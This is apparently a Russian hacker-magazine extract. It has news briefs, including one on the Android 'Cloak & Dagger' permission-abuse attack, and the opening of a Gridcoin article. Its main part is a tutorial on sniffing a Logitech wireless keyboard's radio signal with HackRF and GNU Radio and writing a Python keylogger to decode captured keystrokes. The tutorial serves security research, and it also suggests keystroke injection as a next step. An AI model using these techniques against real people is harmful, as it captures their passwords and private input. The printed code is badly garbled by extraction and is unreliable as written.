такие игры наносят  ущерб сис теме,  которая нам очень дорога,  ведь
она  каса ется  всех  наших  поль зовате лей,  —  алго рит му  магази на
Steam», — сооб щает Valve.

В  ито ге  ком пания    опро бовать  новую  сис тему  борь бы
с  наруши теля ми  и  вво дит  в  Steam  спе циаль ный  «рей тинг  доверия»  (confid‐
ence metric)  к  играм.  «Вмес то  того  что бы выдавать  кол лекци онные  кар точки
сра зу,  как  толь ко  они  появи лись  в  Steam,  мы  будем  исполь зовать  сис тему,
в  которой  кар точки  не  будут  выпадать,  пока  игра  не  дос тигнет  рей тин га
доверия,  ясно  показы вающе го,  что  ее  покупа ют  и  запус кают  реаль ные
люди,  —  пишут  раз работ чики.  —  Ког да  игра  наберет  нуж ный  рей тинг,  мы
авто мати чес ки  выдадим  кар точки  всем  игро кам,  запус кавшим  ее  до  это го.
Поэто му в будущем, даже если вы поиг раете во что‐то до выпус ка кол лекци ‐
онных кар точек, вы получи те их пос ле выпус ка и дос тижения игрой рей тин га
доверия».

при няла  решение

 → «Самый пра виль ный путь — это и приз навать сущес тву ющие крип товалю ты, и понимать, что
это  очень  хорошая  тех нология,  которая  может  серь езно  уве личить  эффектив ность  мировой
эко номи ки. И одновре мен но думать, как цен тро бан ки могут эти тех нологии исполь зовать, что ‐
бы улуч шить эффектив ность сво ей собс твен ной валюты.

 → По нят но,  что  есть  люди,  которые  пыта ются  исполь зовать  бит кой ны,  что бы  зараба тывать
на взло ме чужих компь юте ров. Но прак тичес ки каж дая сов ремен ная тех нология, которая уси ‐
лива ет общес тво, уси лива ет не толь ко хороших, но и пло хих людей. Так же, как было с интерне ‐
том, — позитив ных при мене ний у него боль ше, чем негатив ных. Но если из бояз ни перед пло ‐
хим все зак рыть, то вред будет гораз до боль ший. Понят но, что есть рис ки. Надо при думы вать
стра тегию сни жения рис ков. Но так, что бы тех нологии не слиш ком замед лять».

 о приз нании бит кой на в Рос сии— Виталик Бутерин

ПЛАЩ И КИНЖАЛ
Спе циалис ты Калифор ний ско го уни вер ситета в Сан та‐Бар баре и Тех нологи ‐
чес кого  инсти тута  Джор джии    о  новой  проб леме,  которая  пред ‐
став ляет опас ность для всех устрой ств на базе Android, вплоть до новей шей
вер сии 7.1.2. Так как в наше вре мя уяз вимос тям и  тех никам при нято давать
наз вания, метод атак получил имя «Плащ и кин жал» (Cloak & Dagger).

рас ска зали

Ата ка  по методу  «Плащ  и  кин жал»  поз воля ет  вре донос ному  при ложе нию
незамет но  перех ватить  управле ние  устрой ством  и  похитить  при ват ную
информа цию жер твы, вклю чая пароли, спис ки кон тактов, PIN‐коды, логи чатов
и так далее.

«Плащ  и  кин жал»  не  экс плу ати рует  какие‐либо  уяз вимос ти  в  эко сис теме
Android. Вмес то это го ата ка зло упот ребля ет сис темой выдачи прав при ложе ‐
ниям,  обра щая  в  свою  поль зу  безобид ные  на  пер вый  взгляд  фун кции  SYS‐
TEM_ALERT_WINDOW и BIND_ACCESSIBILITY_SERVICE.

Де ло  в  том,  что,  если  при ложе ние  было  заг ружено  из  офи циаль ного
катало га Google Play, сис тема даже не спро сит поль зовате ля о том, нуж но ли
выдать ему дан ные пра ва. Фак тичес ки эти пра ва счи тают ся «спе циаль ными»,
и даже если они нуж ны при ложе нию, поль зователь все рав но может уви деть
сооб щение, что никаких раз решений не тре бует ся (no permission required).

Пос ле  получе ния  двух  этих  раз решений  зло умыш ленни ки  могут  делать
с  устрой ством  все,  что  им  заб лагорас судит ся.  Ата ка  может  раз вивать ся
в  сто рону  клик дже кин га,  фишин га,  перех вата  нажатий  кла виш,  незамет ной
уста нов ки  допол нитель ных  при ложе ний,  которые фак тичес ки будут  работать
«в  режиме  бога»  (то  есть  получат  мак сималь ные  при виле гии).  Так же  зло ‐
умыш ленни ки  смо гут  тай но  раз бло киро вать  устрой ство  и  выпол нять  про ‐
изволь ные дей ствия, при этом дер жа экран отклю чен ным.

Хо тя раз работ чики Google  уже осве дом лены о про исхо дящем, речь идет
не  о  прос той  уяз вимос ти,  которую мож но  лег ко  испра вить.  Поэто му  разоб ‐
рать ся  с  проб лемами  в  сис теме  выдачи  прав  пла ниру ют  не  рань ше  релиза
Android O, который зап ланиро ван на тре тий квар тал 2017 года.

RIP EXTRATORRENT
В пос ледний год о зак рытии объ яви ли сра зу нес коль ко круп ных «пират ских»
ресур сов,  в  том  чис ле  тор рент‐тре керы  KickassTorrents,  Solarmovie,  Tor‐
rentz.eu,  TorrentHound,  What.cd  и  Mininova.  При  этом  некото рые  сай ты  зак ‐
рылись без объ ясне ния при чин.

По хожим обра зом, оче вид но,   и адми нис тра торы одно го
из  круп ней ших  тре керов  в  мире,  ExtraTorrent.  17  мая  2017  года  на  глав ной
стра нице сай та  (а  так же его зер кал extratorrent.cc, extra.to и extratorrent.one)
появи лось сооб щение сле дующе го содер жания:

ре шили пос тупить

«ExtraTorrent зак рыва ется нав сегда. ExtraTorrent уйдет в офлайн вмес -
те со все ми зер калами. Мы окон чатель но уда ляем все дан ные. Дер -
житесь  подаль ше  от  под дель ных  вер сий  ExtraTorrent  и  кло нов.  Спа -
сибо всем, кто под держи вал ET, и все му тор рент‑сооб щес тву. ET был
инте рес ным мес том…»

Как мож но заметить, никаких под робнос тей опе рато ры ресур са не сооб щают
и  при чины  зак рытия  тре кера  не  рас кры вают ся.  ExtraTorrent  сущес тво вал
с 2006  года и  занимал  вто рое мес то по популяр ности пос ле The Pirate Bay.
Тре керу  при над лежало  291‐е  мес то  в  рей тин ге  Alexa,  и  с  сай том  работа ли
две in‐house релиз‐груп пы, EtHD и ettv, которые теперь, веро ятно, тоже прек ‐
ратят работу.

https://xakep.ru/2017/05/05/ss7-attacks/
https://xakep.ru/2017/05/03/shodan-malware-hunter/
https://xakep.ru/2017/05/17/valve-confidence-metric/
https://xakep.ru/2017/05/26/cloak-dagger/
https://xakep.ru/2017/05/18/extratorrent-closed/
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Бес про вод ные  девай сы  сей час  пов сюду  (мыш ки,  кла виату‐ 
ры, звон ки, даже розет ки, управля емые по радио). Зачас тую
вен доры  в  сво их  устрой ствах  исполь зуют  самопис ные  про‐ 
токо лы, не задумы ваясь о безопас ности. Пос коль ку матери‐ 
ала  в Сети на  эту  тему не  так мно го,  давай раз берем один
из  таких  про токо лов  на  при мере  бес про вод ной  кла виату ры
Logitech и напишем для нее кей лог гер.

ЧТО НАМ ПОНАДОБИТСЯ?
Для  при ема  сиг нала  в  этом  при мере  я  буду  исполь зовать  .
Но так же мож но взять и TV‐тюнер на  , который реаль но най ти на 

  за  10–15  дол ларов.  Наб людать  за  ради очас тотным  спек тром
и  искать  нуж ный  нам  сиг нал  будем  с  помощью  ути литы    для  Linux.
Для  иссле дова ния  ради осиг нала,  опре деле ния  типа  модуля ции  и  ско рос ти
переда чи дан ных (baud rate) вос поль зуем ся ути лита ми   и  .
В основном работать с сиг налом мы будем в  .   — нас‐ 
тоящий монстр, вклю чающий в себя огромное количес тво бло ков. Сре ди них
есть филь тры, модуля торы/демоду лято ры, декоде ры и инс тру мен ты для визу‐ 
али зации сиг нала.
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Статья  адре сова на  спе циалис там  по  безопас‐ 
ности  и  тем,  кто  собира ется  ими  стать.  Вся
информа ция  пре дос тавле на  исклю читель но
в озна коми тель ных целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  воз можный
вред, при чинен ный матери ала ми дан ной статьи.

OSINT — НАШЕ ВСЕ
Ос мотрим  нашу  «жер тву».  На  обратной  сто роне  кла виату ры  видим  ее  FCC
ID — уни каль ный номер, по  которо му мож но най ти информа цию об  устрой‐ 
стве.

Рис. 1. FCC ID устрой ства

В  нашем  слу чае  FCC  ID  JNZ 128177.  Для  поис ка  информа ции  перей дем
на сайт  .fcc.gov

Рис. 2. Поиск информа ции по FCC ID устрой ства

Тут мы можем най ти, как выг лядит наше устрой ство, вид модуля ции и час тоту,
на которой кла виату ра обща ется с USB‐при емни ком.

Рис. 3. Внеш ний вид кла виату ры

Рис. 4. Информа ция о час тоте и виде модуля ции

Мы  видим,  что  кла виату ра  может  работать  на  двух  час тотах:  27,095  МГц
и  27,145  МГц  в  зависи мос ти  от  выб ранно го  канала.  Эта  информа ция  при‐ 
годит ся  нам  поз же.  Так же мы  видим,  что  исполь зует ся  FSK  (Frequency  Shift
Keying) модуля ция, или час тотная манипу ляция.

ИЩЕМ СИГНАЛ
Для наб людения за час тотным спек тром на час тоте, най ден ной нами во вре‐ 
мя  , будем исполь зовать ути литу  . Нас тро имся на нуж ную час тоту.OSINT Gqrx

Рис. 5. Водопад ное пред став ление спек тра на нуж ной нам час тоте

Как  мы  видим,  спектр  силь но  зашум лен,  и  выделить  сре ди шума  информа‐ 
цион ный  сиг нал  с  кла виату ры  прак тичес ки  невоз можно.  Дело  в  том,  что
на час тотах ниже 480 МГц помехи могут воз никать из‐за неэк раниро ван ного
USB‐кабеля. А в ком плек те с   идет как раз такой. В сво ем   Май‐ 
кл Оссманн  при водил  тре бова ния  к  кабелю,  который  будет  исполь зовать ся
с  . Если вкрат це,  то это дол жен быть экра ниро ван ный кабель дли ной
менее  1,8  м  с  фер ритовы ми  сер дечни ками  на  кон цах.  Сто ит  отме тить,  что
при  исполь зовании  TV‐тюнеров  на    подоб ных  помех  не  будет,  так
как там нет кабеля.

HackRF GitHub
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Пос ле  уста нов ки  двух  фер ритовых  сер дечни ков  на  стан дар тный  кабель
от    ста ло  нам ного  луч ше.  На  рис.  6  мож но  уви деть  незашум ленный
спектр и информа цион ный сиг нал с кла виату ры.

HackRF

Рис. 6. Час тотный спектр пос ле уста нов ки фер ритовых сер дечни ков

Ура! Мы наш ли наш сиг нал. Теперь нам нуж но его записать для даль нейше го
ана лиза:  опре деле ния  вида  модуля ции  и  ско рос ти  переда чи  дан ных
(количес тва сим волов, переда ваемых за одну секун ду).

ЗАПИСЫВАЕМ И АНАЛИЗИРУЕМ
Для  записи  сиг нала  мы  сос тавим  прос тую  схе му  (flowgraph)  в 

.  Схе ма  будет  содер жать  источник  сиг нала  — 
и блок  , необ ходимый для записи сиг нала в файл. На рис. 6 ров но
на час тоте 27,095 МГц мы мог ли наб людать сиг нал, воз ника ющий от пос тоян‐ 
ного  источни ка  питания  ,  так  называ емый  DC  spike.  Этот  сиг нал
не  несет  никакой  полез ной  информа ции  и  может  мешать  нам  при  записи,
поэто му наш источник сиг нала ( ) мы нас тро им на сосед нюю
час тоту 27,08 МГц. Схе ма дол жна выг лядеть как на рис. 7.
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Рис. 7. Схе ма для записи сиг нала

Для  ана лиза  записан ного  сиг нала  будем  исполь зовать  ути литу  .
Качать ее луч ше с GitHub: вер сия, которая ста вит ся через  , не вклю‐ 
чает в себя полез ные фун кции, такие как  , поз воля ющие
очень  прос то  опре делить  ско рость  переда чи  дан ных  (baud  rate).  На  рис.
8 мож но уви деть сиг нал, откры тый в ути лите  .
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inspectrum cursor

inspectrum

Рис. 8. Ана лиз сиг нала в inspectrum

На рис. 8 мы видим сиг нал DC spike, ров но на той час тоте, на которую нас‐ 
тро ен  . Сиг нал с кла виату ры нем ного сдви нут вверх по час‐ 
тоте.  На  рисун ке  отчетли во  вид но,  что  это  FSK‐модуля ция.  С  помощью 

  мож но  выделить  нес коль ко  сим волов  и  рас счи тать  ско‐ 
рость  переда чи  дан ных  (baud  rate),  которая  в  нашем  слу чае  сос тавля‐ 
ет 2,4 кГц (2400 сим волов в секун ду).
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КАК РАБОТАЕТ FSK?
FSK  (Frequency  Shift  Keying)  модуля ция  —  это  такой  вид  модуля ции,  ког да
дан ные переда ются путем сдви га  час тоты. В нашем слу чае исполь зует ся 2‐
FSK (дво ичная FSK), при которой час тоты все го две. Одна из час тот соот ветс‐ 
тву ет нулю, дру гая — еди нице. Как пра вило, боль шей час тоте соот ветс тву ет
еди ница.  На  рис.  9  мож но  уви деть  при мер  переда чи  дво ичной  пос ледова‐ 
тель нос ти с исполь зовани ем 2‐FSK‐модуля ции.

Рис. 9. При мер 2‐FSK‐модуля ции

ДЕМОДУЛЯЦИЯ
Мы уже опре дели ли час тоту, на которой переда ется сиг нал с нашей кла виату‐ 
ры,  а  так же  ско рость  переда чи  дан ных  и  вид модуля ции.  Теперь  нам  необ‐ 
ходимо исполь зовать эти получен ные зна ния и демоду лиро вать сиг нал, что бы
извлечь из него информа цию. Добавим в нашу схе му блок для демоду ляции
сиг нала —  ,  уста новив    =  1,  и  изме ним  тип  вход ных
дан ных  бло ка    на  .  Так же,  для  того  что бы  выделить  наш
полез ный сиг нал, добавим филь тр ниж них час тот (Low Pass Filter) с час тотой
сре за 50 кГц и шириной переход ной полосы 20 кГц.

Quadrature Demod Gain
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Филь тр  ниж них  час тот  —  филь тр,  про пус кающий
час тотный спектр сиг нала ниже задан ной час тоты
и  подав ляющий  все,  что  находит ся  выше  задан‐ 
ной час тоты.

На рис. 10 мож но уви деть прос той при мер, как работа ет филь тр ниж них час‐ 
тот,  что  такое  час тота  сре за  (cutoff_freq)  и  ширина  переход ной  полосы
(transition_width).

Рис. 10. Филь тр ниж них час тот

Пос ле уста нов ки опи сан ных выше бло ков схе ма дол жна выг лядеть как на рис.
11.

Рис. 11. Схе ма демоду лято ра

От кро ем файл с записан ным сиг налом в  . Для того что бы пра виль но
открыть  файл,  необ ходимо  ука зать    (час тоту  дис кре тиза ции)
и  . На рис. 12 мож но уви деть ука зан ные при откры тии фай ла
парамет ры.
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Рис. 12. Парамет ры откры тия фай ла в baudline

По игравшись  нем ного  с  мас шта бом  с  помощью  кла виш  Alt  +  стре лоч ки,
находим наш демоду лиро ван ный сиг нал в окне waveform.

Рис. 13. Демоду лиро ван ный сиг нал

На  рис.  13,  кро ме  полез ного  сиг нала,  мы  видим шум,  который  не  поз волит
декоди ровать  сиг нал.  Сам  полез ный  сиг нал  с  кла виату ры  так же  выг лядит
доволь но  шум ным.  Для  решения  этих  двух  проб лем  нам  пот ребу ется
добавить пару бло ков в нашу схе му.

Блок    не  про пус кает  сиг налы,  ампли туда  которых  ниже
задан ного  нами  зна чения.  Пос мотрим  на  ампли туду  нашего  сиг нала
и выберем тот уро вень, ниже которо го находят ся толь ко ненуж ные шумы.

Power  Squelch

Рис. 14. Ампли туда полез ного сиг нала

На  рис.  14  вид но,  что  полез ный  сиг нал  находит ся  на  уров не  выше  –35  дБ.
Таким  обра зом,  все,  что  находит ся  ниже,  мы  можем  отре зать.  Для  это го
добавим блок   со зна чени ем   –35 dB.Power Squelch Threshold

До бавим  так же,  для  того  что бы  очис тить  сиг нал  от  шума,  еще  один 
 сра зу пос ле бло ка  . Выберем час тоту сре за,

рав ную 2400 (соот ветс тву ющую зна чению  ), и ширину переход ной
полосы,  рав ную 1200  (соот ветс тву ющую    /  2).  Умень шим  час тоту
дис кре тиза ции ( ), уста новив зна чение   = 100 в блок

, что бы раз гру зить про цес сор.
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Пос ле добав ления бло ков наша схе ма дол жна выг лядеть как на рис. 15.

Рис. 15. Схе ма демоду лято ра с допол нитель ным Low Pass Filter и Power
Squelch

За пишем  сиг нал  еще  раз  и  пос мотрим  на  него  в  .  При  откры тии
фай ла  важ но  уста новить  зна чение    в  200  кГц  вмес то  преж‐ 
них 2 МГц, так как мы умень шили   в нашей схе ме в 100 раз. Сно‐ 
ва нем ного поиг равшись с мас шта бом, находим наш сиг нал.
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sample  rate

sample rate

Рис. 16. Демоду лиро ван ный сиг нал

ДЕКОДИРУЕМ СИГНАЛ
Мы  успешно  демоду лиро вали  сиг нал,  очис тив  его  от  шумов.  Теперь
с помощью бло ка   нам необ ходимо пре обра зовать его в пос‐ 
ледова тель ность  нулей  и  еди ниц.  Этот  блок  уме ет  пре обра зовы вать  в  еди‐ 
ницу  те  сем плы,  зна чения  которых  боль ше  нуля,  и  в  ноль  сем плы  с  отри‐ 
цатель ными зна чени ями.

Binary Slicer

Та ким  обра зом,  нам  необ ходимо  под готовить  наш  сиг нал,  перене ся  его
на ось абсцисс. Для это го мы будем исполь зовать блок  .Add Const

Рис. 17. Блок Add Const

Те перь наш сиг нал дол жен выг лядеть как на рис. 18. Ось абсцисс сей час про‐ 
ходит ров но посере дине, что поз волит бло ку   пре обра зовать
наш сиг нал в пос ледова тель ность нулей и еди ниц.

Binary Slicer

Рис. 18. Под готов ленный сиг нал

До бавим  блок    меж ду  бло ками    и  .
При этом необ ходимо поменять   у бло ка   на  .

Binary  Slicer Add  Const File  Sink
Input Type File Sink Byte

Рис. 19. Схе ма с добав ленным бло ком Binary Slicer

За пишем  сиг нал  и  откро ем  файл  в  любом  hex‐редак торе.  Я  исполь зовал
.  В  редак торе  мы  видим  зна чения  каж дого  сем пла,  при  этом  00  соот‐ 

ветс тву ет нулю, а 01 — еди нице. Для работы с эти ми зна чени ями необ ходимо
опре делить, сколь ко сем плов находит ся в одном сим воле. На рис. 20  крас‐ 
ным  цве том  выделе на  пре амбу ла,  которая  отчетли во  вид на  на  рис.  21.
Для переда чи одно го сим вола тре бует ся 8–9 сем плов.

bless

Рис. 20. Пре амбу ла

Ес ли вни матель но прис мотреть ся к нашему сиг налу, то ста новит ся вид но, что
посыл ка начина ется с пре амбу лы, сос тоящей из пос ледова тель нос ти череду‐ 
ющих ся  нулей  и  еди ниц,  пос ле  которых  идет  пос ледова тель ность  из  трех
нулей, сооб щающая при емни ку, о том, что посыл ка началась. Закан чива ется
посыл ка  пос ледова тель ностью  из  трех  еди ниц.  Так же  сто ит  заметить,  что
в посыл ке встре чают ся пос ледова тель нос ти дли ной T = 1, T = 1,5, T = 2 и T =
3, где T — дли на одно го сим вола.

Рис. 21. Сиг нал

На личие  T  =  1,5  сви детель ству ет  об  исполь зовании  кода  Мил лера  (Miller
encoding).

Код Мил лера — код, в котором еди ница пред став‐ 
лена  как  переход  на  про тиво полож ный  уро вень
в  середи не  битово го  пери ода.  Как  раз  такие
перехо ды и фор миру ют T = 1,5. Ноль, за которым
идет  еди ница,  пред став ляет ся  отсутс тви ем
перехо да  на  про тиво полож ный  уро вень.  Ноль,
за которым идет ноль, пред став ляет ся перехо дом
на  про тиво полож ный  уро вень  в  начале  битово го
пери ода.

https://greatscottgadgets.com/hackrf/
http://aliexpress.com/
http://gqrx.dk/
http://www.baudline.com/
https://github.com/miek/inspectrum
https://www.gnuradio.org/
https://www.fcc.gov/oet/ea/fccid
https://github.com/mossmann/hackrf/wiki/Tips-and-Tricks
https://github.com/miek/inspectrum
http://home.gna.org/bless/


РЕВЕРСИМ ПРОТОКОЛ РАБОТЫ
КЛАВЫ ОТ LOGITECH И ПИШЕМ ДЛЯ

НЕЕ КЕЙЛОГГЕР

COVERSTORY  НАЧАЛО СТАТЬИΝ

ИЗВЛЕКАЕМ СИМВОЛЫ
Те перь наш сиг нал пред став ляет собой пос ледова тель ность нулей и еди ниц,
которую  мы  можем  отпра вить  на  вход  кей лог гера  пос редс твом  бло ка 

. В нашем слу чае кей лог гером выс тупит скрипт на  , который будет
слу шать  TCP‐порт,  записы вать  все  вхо дящие  зна чения,  искать  в  них  начало
и конец посыл ки и срав нивать получен ные зна чения с заранее сос тавлен ным
сло варем.

TCP
Sink Python

Преж де  все го  соз дадим  сокет  и  пос тавим  его  слу шать  порт  9090.  При‐ 
нимать дан ные мы будем пор циями по 1024 байт. Каж дую такую пор цию мы
сра зу отправ ляем в фун кцию  .rebuild

de� mainſƀś
    sock ʰ socketŜsocketſƀ
    sockŜbindſſɐɐř ɰɥɰɥƀƀ
    sockŜlistenſɨƀ
    connř addr ʰ sockŜacceptſƀ
    while ɨś
        data ʰ connŜrec�ſɨɥ2ɫƀ
        i� not dataś break
        rebuildſdataƀ
    connŜcloseſƀ

Фун кция    обра щает ся  к  пре дыду щему  зна чению  сем пла  и  счет чику
сем плов. С помощью   перево дим из 01 в 1 и из 00 в 0, для даль нейшей
работы  с  пос ледова тель ностью.  В    теперь  содер жатся  зна‐ 
чения  сем плов  в  нор маль ном  виде.  Про бега емся  по  всем  сем плам
в  .

rebuild
ord

samplesɏlist

samplesɏlist
Ес ли  видим,  что  текущее  зна чение  сем пла  рав но  0,  а  пре дыду щее  было

отлично от нуля, зна чит, до это го момен та мы наб людали пик, дли на которо го
.  Переда ем    и  информа цию

о том, пик это был или минимум, в фун кцию   для даль нейше‐ 
го ана лиза и сбра сыва ем зна чение  . Точ но так же мы
пос тупа ем, если наб люда ем еди ницу пос ле нес коль ких нулей.

currentɏsampleɏcount currentɏsampleɏcount
reco�erɏmiller

currentɏsampleɏcount

Ес ли же мы видим, что пре дыду щее и текущее зна чения сем плов сов пада‐ 
ют,  зна чит,  прос то  уве личи ваем  зна чение    на  еди‐ 
ницу. Пос ле того как про бежа лись по всем сем плам, очи щаем  .

currentɏsampleɏcount
samplesɏlist

de� rebuildſdataƀś
    global pre�iousɏsampleɏ�alue
    global currentɏsampleɏcount
    �or sample in dataś
        samplesɏlistŜappendſordſsampleƀƀ
    �or sample in samplesɏlistś
        i� sample ʰʰ ɥś
            i� pre�iousɏsampleɏ�alue Šʰ ɥś
                reco�erɏmillerſcurrentɏsampleɏcountř ɨƀ
                currentɏsampleɏcount ʰ ɥ
            elseś
                currentɏsampleɏcount ʫʰ ɨ
        eli� sample ʰʰ ɨś
            i� pre�iousɏsampleɏ�alue Šʰ ɨś
                reco�erɏmillerſcurrentɏsampleɏcountř ɥƀ
                currentɏsampleɏcount ʰ ɥ
            elseś
                currentɏsampleɏcount ʫʰ ɨ
        pre�iousɏsampleɏ�alue ʰ sample
    del samplesɏlistƃśƄ

Фун кция    необ ходима  для  вос ста нов ления  сим волов.
Перемен ная   хра нит пре дыду щую посыл ку в фор‐ 
мате  стро ки.  Ана лизи руем  дли ну  пика  или  миниму ма  и  добав ляем  их  в 

  с  удво енной  дли ной.  Это  нуж но  для  того,  что бы  однознач но
отли чать  пики  дли ной  T  =  1,  T  =  1,5  и  T  =  2.  Если  в    мы
находим  шесть  еди ниц,  зна чит,  это  конец  посыл ки,  ищем  в  этом  спис ке
начало посыл ки (пос ледова тель ность из шес ти нулей). Если находим начало
посыл ки,  то сох раня ем посыл ку в  ,  так  как  спи сок не может
быть клю чом в сло варе.

reco�erɏmiller
pre�iousɏmessageɏstring

re‐
co�eredɏlist

reco�eredɏlist

messageɏstring

de� reco�erɏmillerſcurrentɏsampleɏcountř sideƀś
    global pre�iousɏmessageɏstring
    i� currentɏsampleɏcount ʴʰ ɭ and currentɏsampleɏcount ʳʰɨɥś
        i� side ʰʰ ɨś
            reco�eredɏlistŜappendſɑɨɨɑƀ
        eli� side ʰʰ ɥś
            reco�eredɏlistŜappendſɑɥɥɑƀ
    eli� currentɏsampleɏcount ʴ ɨɥ and currentɏsampleɏcount ʳ ɨɫś
        i� side ʰʰ ɨś
            reco�eredɏlistŜappendſɑɨɨɨɑƀ
        eli� side ʰʰ ɥś
            reco�eredɏlistŜappendſɑɥɥɥɑƀ
    eli� currentɏsampleɏcount ʴʰ ɨɫ and currentɏsampleɏcount ʳ 2ɥś
        i� side ʰʰ ɨś
            reco�eredɏlistŜappendſɑɨɨɨɨɑƀ
        eli� side ʰʰ ɥś
            reco�eredɏlistŜappendſɑɥɥɥɥɑƀ
    eli� currentɏsampleɏcount ʴʰ 2ɥ and currentɏsampleɏcount ʳ 28ś
        i� side ʰʰ ɨś
            reco�eredɏlistŜappendſɑɨɨɨɨɨɨɑƀ
            i� ɑɥɥɥɥɥɥɑ in reco�eredɏlistś
                startɏindex ʰ reco�eredɏlistŜindexſɑɥɥɥɥɥɥɑƀ
                stopɏindex ʰ reco�eredɏlistŜindexſɑɨɨɨɨɨɨɑƀ ʫ ɨ
                message ʰ reco�eredɏlistƃstartɏindexśstopɏindexƄ
                messageɏstring ʰ ɐɐŜ�oinſmessageƀ
                print messageɏstring
                del reco�eredɏlistƃśƄ
        eli� side ʰʰ ɥś
            reco�eredɏlistŜappendſɑɥɥɥɥɥɥɑƀ
    eli� currentɏsampleɏcount ʳ ɮś
        reco�eredɏlistŜappendſɑtoo shortɑƀ
    eli� currentɏsampleɏcount ʴʰ 28ś
        reco�eredɏlistŜappendſɑtoo longɑƀ
i� ɏɏnameɏɏ ʰʰ ɐɏɏmainɏɏɐś
    mainſƀ

Те перь нам необ ходимо перенап равить дан ные из   на порт 9090.
Для  это го  добавим  блок    в  нашу  схе му,  изме нив 
на  .

GNU Radio
TCP  Sink Input  Type

Byte

Рис. 22. Финаль ная схе ма

За пус тим  скрипт  и  flowgraph  в  .  На  рис.  23 мож но  уви деть  сооб‐ 
щения, отправ ляемые кла виату рой при нажатии на кла вишу  .

GNU Radio
Q

Рис. 23. Вывод кей лог гера

Мож но  заметить,  что,  ког да  кла вишу  нажима ют  и  ког да  отпуска ют,  отправ‐ 
ляют ся по два сооб щения. Таким обра зом, на рис. 23 зафик сирова ны все го
два нажатия на кла вишу  . Теперь нам оста ется сос тавить сло варь с бук вами
и  соот ветс тву ющи ми  им  дво ичны ми  кодами  и  добавить  в  наш  скрипт  поиск
по сло варю.

Q

За пус каем наш кей лог гер и flowgraph и видим в кон соли вве ден ные поль‐ 
зовате лем сим волы.

Рис. 24. Вывод кей лог гера

ЗАКЛЮЧЕНИЕ
Та ким обра зом, нам уда лось перех ватить сиг нал с бес про вод ной кла виату ры
и  вос ста новить  нажатые  поль зовате лем  кла виши.  В  даль нейшем  мож но
реали зовать  скрипт,  который  будет  отправ лять  нажатия  кла виш  уда лен но
на компь ютер жер твы (keystroke injection) и осу щест влять ввод команд (remote
code execution). Подоб ные ата ки воз можны потому, что какие‐либо защит ные
механиз мы  при  переда че  дан ных  меж ду  кла виату рой  и  при емни ком  отсутс‐ 
тву ют.  Дан ные  о  нажатии  кла виш  переда ются  в  откры том  виде,  на  одной
из  двух  час тот,  о  которой  устрой ства  догово рились  на  эта пе  уста нов ления
соеди нения.

•Пол ный текст скрип та
•Го товый flowgraph
•Лек ции  по  работе  с  GNU  Radio  и  HackRF  One
от Май кла Оссман на

•HackRF One wiki
•Док лад «So You Want To Hack Radios» на HITB‐ 
2017

https://www.python.org/
https://raw.githubusercontent.com/pagliacci/stuff/master/socket_test.py
https://raw.githubusercontent.com/pagliacci/stuff/master/final_recv.grc
https://greatscottgadgets.com/sdr/
https://github.com/mossmann/hackrf/wiki
https://www.youtube.com/watch?v=QeoGQwT0Z1Y&list=LLWYj4EvYiL3UtWhoctVC_mw&index=1
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По ка одни май нят крип товалю ту, дру гие обра баты вают науч‐ 
ные  дан ные.  Еще  недав но  при ходи лось  выбирать  меж ду
алчностью и аль тру измом, пос коль ку про екты рас пре делен‐ 
ных  вычис лений  обыч но  не  пре дус матри вают  воз награж‐ 
дения. Теперь появи лась сто рон няя прог рамма поощ рений,
и она уже дала замет ные резуль таты. Здесь ты най дешь под‐ 
робный гайд о том, как к ней при соеди нить ся.

BOINC  —  это  откры тая  плат форма  для  рас пре делен ных  вычис лений.  Под‐ 
робнее о том, как и что с её помощью счи тают сегод ня, читай в статье «

».
Если захочешь уста новить BOINC себе, то не про пус ти статью «

».  Кста ти,
для эффектив ной работы с Gridcoin тебе тоже понадо бит ся BOINC.

Вы‐ 
чис ления  на  дому.  Как  зас тавить  компь ютер  решать  мировые  проб лемы

BOINC к бою:
пре муд рости  рас пре делен ных  вычис лений  на  лич ном  при мере

BOINC VS BITCOIN
С 2002 года сооб щес тво BOINC на доб роволь ных началах помога ет решать
науч ные  задачи  в  самых  раз ных  областях.  Спер ва  чис ло  кран черов  быс тро
рос ло — казалось, что это му не будет кон ца. У мно гих компь юте ры выпол няли
задания уже не впол силы в пери оды прос тоя, а  круг лосуточ но и на пре деле
воз можнос тей.  Их  вла дель цев  не  сму щали  неудобс тва  вро де  шумящих
кулеров и кру тяще гося, слов но вен тилятор, элек трос четчи ка. Прос тых людей
объ еди нила гло баль ная идея о доб ром и веч ном.

Од нако  одной  идеи  ока залось  мало.  Боль шинс тво  не  задер живалось
надол го,  пос коль ку  не  чувс тво вало  обратной  свя зи. Месяц  счи таешь,  два…
а резуль тат где?

По нача лу  учас тни ки  BOINC  сооб щали  друг  дру гу  о  новых  пуб ликаци ях
по матери алам сов мес тных рас четов и радова лись, что их компь юте ры уско‐ 
ряют  раз витие  науки.  Они  помога ли  в  изу чении  новых  бел ков  и  пер спек‐ 
тивных матери алов. Приб лижали появ ление новых лекарств и диаг ности чес‐ 
ких мар керов. Перед ними откры вались новые звез ды и новые горизон ты —
все было слов но в сказ ке. Потом появил ся Bitcoin, затем дру гие крип товалю‐ 
ты, и сказ ка ста ла страш ной.

К нас тояще му момен ту во всем мире от мно гомил лион ной армии BOINC‐
кран черов оста лось три‐четыре сот ни тысяч реаль но дей ству ющих акка унтов.
Активно про дол жают обра баты вать задания BOINC восемь про цен тов от всех
зарегис три рован ных.  Осталь ные  прев ратились  в  мер твые  души,  которые
боль ше отни мают ресур сов, чем пре дос тавля ют сами.

Ос новная при чина мас сового исхо да прос та: самые эффектив ные вычис‐ 
ления  были  GPU‐опти мизи рован ные,  а  обла дате ли  кру тых  виде окарт
кинулись  счи тать  хеши  в  надеж де  на  лег кую  при быль.  О  том,  нас коль ко
это реаль но и какую крип товалю ту луч ше выб рать, мы пла ниру ем под готовить
отдель ную статью. Пока же погово рим об одной спе цифи чес кой — Gridcoin.

ПОРОК КАК ДВИГАТЕЛЬ ПРОГРЕССА
Наз вание Gridcoin говорит само за себя (grid — рас пре делен ная сеть, coin —
монета), но у меня оно боль ше ассо циирует ся со сло вом  . Думаю, что
пси холо гичес кий рас чет соз дателей   Gridcoin был
имен но  на  жад ность.  Они  ста ли  пла тить  за  доб роволь ные  вычис ления,  чем
радикаль но изме нили отно шение к про цес су. С их подачи учас тие в рас пре‐ 
делен ных вычис лени ях перес тало быть чис тым аль тру измом.

greed
опен сор сной крип товалю ты

Идея Gridcoin была обна родо вана в октябре 2013 года, одна ко до готовой
